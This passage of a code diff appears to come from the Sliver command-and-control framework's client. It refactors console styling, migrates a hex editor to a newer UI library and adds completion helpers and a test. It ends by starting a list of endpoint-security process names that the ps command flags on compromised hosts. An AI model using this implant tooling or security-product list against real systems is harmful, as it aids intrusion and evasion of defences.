|
||||||
asciiCells[i] = modifiedStyle.Render(asciiRaw)
|
asciiCells[i] = modifiedStyle().Render(asciiRaw)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
hexCells[i] = hexRaw
|
hexCells[i] = hexRaw
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
@@ -15,8 +16,9 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/bishopfox/sliver/util"
|
"github.com/bishopfox/sliver/util"
|
||||||
"github.com/bishopfox/sliver/util/encoders"
|
"github.com/bishopfox/sliver/util/encoders"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
"github.com/charmbracelet/colorprofile"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
||||||
model := newEditorModel(data, filename, offset)
|
model := newEditorModel(data, filename, offset)
|
||||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
width, height := 80, 24
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
program := tea.NewProgram(
|
||||||
|
model,
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
)
|
||||||
finalModel, err := program.Run()
|
finalModel, err := program.Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return editorResult{}, err
|
return editorResult{}, err
|
||||||
|
|||||||
+38
-38
@@ -70,47 +70,47 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
if session != nil {
|
if session != nil {
|
||||||
|
|
||||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Session ID:"), session.ID)
|
||||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), session.Name)
|
||||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), session.Hostname)
|
||||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), session.UUID)
|
||||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), session.Username)
|
||||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), session.UID)
|
||||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), session.GID)
|
||||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), session.PID)
|
||||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), session.OS)
|
||||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), session.Version)
|
||||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), session.Locale)
|
||||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), session.Arch)
|
||||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), session.ActiveC2)
|
||||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), session.RemoteAddress)
|
||||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), session.ProxyURL)
|
||||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
con.Printf("%s %s\n", console.StyleBold.Render("Reconnect Interval:"), time.Duration(session.ReconnectInterval).String())
|
||||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||||
|
|
||||||
} else if beacon != nil {
|
} else if beacon != nil {
|
||||||
|
|
||||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Beacon ID:"), beacon.ID)
|
||||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), beacon.Name)
|
||||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), beacon.Hostname)
|
||||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), beacon.UUID)
|
||||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), beacon.Username)
|
||||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), beacon.UID)
|
||||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), beacon.GID)
|
||||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), beacon.PID)
|
||||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), beacon.OS)
|
||||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), beacon.Version)
|
||||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), beacon.Locale)
|
||||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), beacon.Arch)
|
||||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), beacon.ActiveC2)
|
||||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), beacon.RemoteAddress)
|
||||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), beacon.ProxyURL)
|
||||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
con.Printf("%s %s\n", console.StyleBold.Render(" Interval:"), time.Duration(beacon.Interval).String())
|
||||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
con.Printf("%s %s\n", console.StyleBold.Render(" Jitter:"), time.Duration(beacon.Jitter).String())
|
||||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||||
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Next Checkin:"), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||||
|
|||||||
@@ -1,6 +1,25 @@
|
|||||||
package jobs
|
package jobs
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -103,6 +122,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||||
})
|
})
|
||||||
|
flags.BindFlagCompletions(httpCmd, func(comp *carapace.ActionMap) {
|
||||||
|
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||||
|
})
|
||||||
|
registerWebsiteFlagCompletion(httpCmd, "website", con)
|
||||||
|
|
||||||
// HTTPS
|
// HTTPS
|
||||||
httpsCmd := &cobra.Command{
|
httpsCmd := &cobra.Command{
|
||||||
@@ -129,9 +152,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||||
})
|
})
|
||||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||||
|
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
|
||||||
|
registerWebsiteFlagCompletion(httpsCmd, "website", con)
|
||||||
|
|
||||||
// Staging listeners
|
// Staging listeners
|
||||||
stageCmd := &cobra.Command{
|
stageCmd := &cobra.Command{
|
||||||
@@ -161,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||||
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
|
||||||
|
|
||||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package jobs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHTTPAndHTTPSWebsiteFlagCompletionRegistered(t *testing.T) {
|
||||||
|
cmds := Commands(&console.SliverClient{})
|
||||||
|
|
||||||
|
httpCmd := commandByUse(cmds, consts.HttpStr)
|
||||||
|
if httpCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.HttpStr)
|
||||||
|
}
|
||||||
|
if _, ok := httpCmd.GetFlagCompletionFunc("website"); !ok {
|
||||||
|
t.Fatalf("%q missing website flag completion func", consts.HttpStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
httpsCmd := commandByUse(cmds, consts.HttpsStr)
|
||||||
|
if httpsCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.HttpsStr)
|
||||||
|
}
|
||||||
|
if _, ok := httpsCmd.GetFlagCompletionFunc("website"); !ok {
|
||||||
|
t.Fatalf("%q missing website flag completion func", consts.HttpsStr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
if cmd.Use == use {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package jobs
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/rsteube/carapace"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebsiteNameCompleter completes the names of available websites.
|
||||||
|
func WebsiteNameCompleter(con *console.SliverClient) carapace.Action {
|
||||||
|
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||||
|
websites, err := websiteNameValues(con)
|
||||||
|
if err != nil {
|
||||||
|
return carapace.ActionMessage("Failed to list websites %s", err)
|
||||||
|
}
|
||||||
|
if len(websites) == 0 {
|
||||||
|
return carapace.ActionMessage("no available websites")
|
||||||
|
}
|
||||||
|
|
||||||
|
return carapace.ActionValues(websites...).Tag("websites").Usage("website name")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerWebsiteFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
values, err := websiteNameValues(con)
|
||||||
|
if err != nil {
|
||||||
|
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||||
|
}
|
||||||
|
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func websiteNameValues(con *console.SliverClient) ([]string, error) {
|
||||||
|
results := make([]string, 0)
|
||||||
|
if con == nil || con.Rpc == nil {
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, ws := range websites.Websites {
|
||||||
|
results = append(results, ws.Name)
|
||||||
|
}
|
||||||
|
sort.Strings(results)
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterCompletionValues(values []string, prefix string) []string {
|
||||||
|
if prefix == "" {
|
||||||
|
return values
|
||||||
|
}
|
||||||
|
|
||||||
|
filtered := make([]string, 0, len(values))
|
||||||
|
for _, value := range values {
|
||||||
|
candidate := value
|
||||||
|
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||||
|
candidate = value[:tab]
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(candidate, prefix) {
|
||||||
|
filtered = append(filtered, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return filtered
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package loot
|
package loot
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
})
|
})
|
||||||
carapace.Gen(lootAddCmd).PositionalCompletion(
|
carapace.Gen(lootAddCmd).PositionalCompletion(
|
||||||
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
|
||||||
|
|
||||||
lootRemoteCmd := &cobra.Command{
|
lootRemoteCmd := &cobra.Command{
|
||||||
Use: consts.LootRemoteStr,
|
Use: consts.LootRemoteStr,
|
||||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
||||||
(*comp)["filter"] = FileTypeCompleter(con)
|
(*comp)["filter"] = FileTypeCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
|
||||||
|
|
||||||
lootRmCmd := &cobra.Command{
|
lootRmCmd := &cobra.Command{
|
||||||
Use: consts.RmStr,
|
Use: consts.RmStr,
|
||||||
|
|||||||
@@ -82,7 +82,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
if loot.File.Name != "" {
|
if loot.File.Name != "" {
|
||||||
con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
|
con.PrintInfof("%s %s\n\n", console.StyleBold.Render("File Name:"), loot.File.Name)
|
||||||
}
|
}
|
||||||
if loot.File.Data != nil && 0 < len(loot.File.Data) {
|
if loot.File.Data != nil && 0 < len(loot.File.Data) {
|
||||||
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
|
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
|
||||||
|
|||||||
@@ -20,7 +20,6 @@ package monitor
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -99,14 +98,12 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCli
|
|||||||
"APIPassword",
|
"APIPassword",
|
||||||
})
|
})
|
||||||
|
|
||||||
color := console.Normal
|
|
||||||
|
|
||||||
for _, config := range configs.Providers {
|
for _, config := range configs.Providers {
|
||||||
row := table.Row{}
|
row := table.Row{}
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
|
row = append(row, config.ID)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
|
row = append(row, config.Type)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
|
row = append(row, config.APIKey)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
|
row = append(row, config.APIPassword)
|
||||||
tw.AppendRow(row)
|
tw.AppendRow(row)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -75,7 +75,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
|
|||||||
for index, iface := range interfaces {
|
for index, iface := range interfaces {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
|
tw.SetTitle(console.StyleBold.Render(iface.Name))
|
||||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||||
{Name: "#", AutoMerge: true},
|
{Name: "#", AutoMerge: true},
|
||||||
{Name: "IP Address", AutoMerge: true},
|
{Name: "IP Address", AutoMerge: true},
|
||||||
@@ -100,7 +100,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
||||||
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
|
ips = append(ips, console.StyleBoldGreen.Render(ip))
|
||||||
} else if all {
|
} else if all {
|
||||||
ips = append(ips, fmt.Sprintf("%s", ip))
|
ips = append(ips, fmt.Sprintf("%s", ip))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -104,11 +104,11 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
|||||||
}
|
}
|
||||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
console.StyleGreen.Render(entry.Protocol),
|
||||||
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
|
console.StyleGreen.Render(srcAddr),
|
||||||
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
|
console.StyleGreen.Render(dstAddr),
|
||||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
|
console.StyleGreen.Render(entry.SkState),
|
||||||
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
|
console.StyleGreen.Render(pid),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
|
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
|
|||||||
})
|
})
|
||||||
for _, operator := range operators {
|
for _, operator := range operators {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
console.Bold + operator.Name + console.Normal,
|
console.StyleBold.Render(operator.Name),
|
||||||
status(operator.Online),
|
status(operator.Online),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -59,7 +59,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
|
|||||||
|
|
||||||
func status(isOnline bool) string {
|
func status(isOnline bool) string {
|
||||||
if isOnline {
|
if isOnline {
|
||||||
return console.Bold + console.Green + "Online" + console.Normal
|
return console.StyleBoldGreen.Render("Online")
|
||||||
}
|
}
|
||||||
return console.Bold + console.Red + "Offline" + console.Normal
|
return console.StyleBoldRed.Render("Offline")
|
||||||
}
|
}
|
||||||
@@ -81,7 +81,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
|||||||
|
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
|
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf("%s Pivots", PivotTypeToString(listener.Type))))
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"ID",
|
"ID",
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package processes
|
package processes
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles()
|
(*comp)["save"] = carapace.ActionFiles()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(procdumpCmd, "save")
|
||||||
|
|
||||||
terminateCmd := &cobra.Command{
|
terminateCmd := &cobra.Command{
|
||||||
Use: consts.TerminateStr,
|
Use: consts.TerminateStr,
|
||||||
|
|||||||
+107
-107
@@ -36,77 +36,77 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Stylizes known processes in the `ps` command
|
// Known security tools shown by `ps`/`pstree`.
|
||||||
var knownSecurityTools = map[string][]string{
|
// Process executable -> product name.
|
||||||
// Process Name -> [Color, Stylized Name]
|
var knownSecurityTools = map[string]string{
|
||||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
"ccSvcHst.exe": "Symantec Endpoint Protection", // Symantec Endpoint Protection (SEP)
|
||||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
"cb.exe": "Carbon Black", // Carbon Black
|
||||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
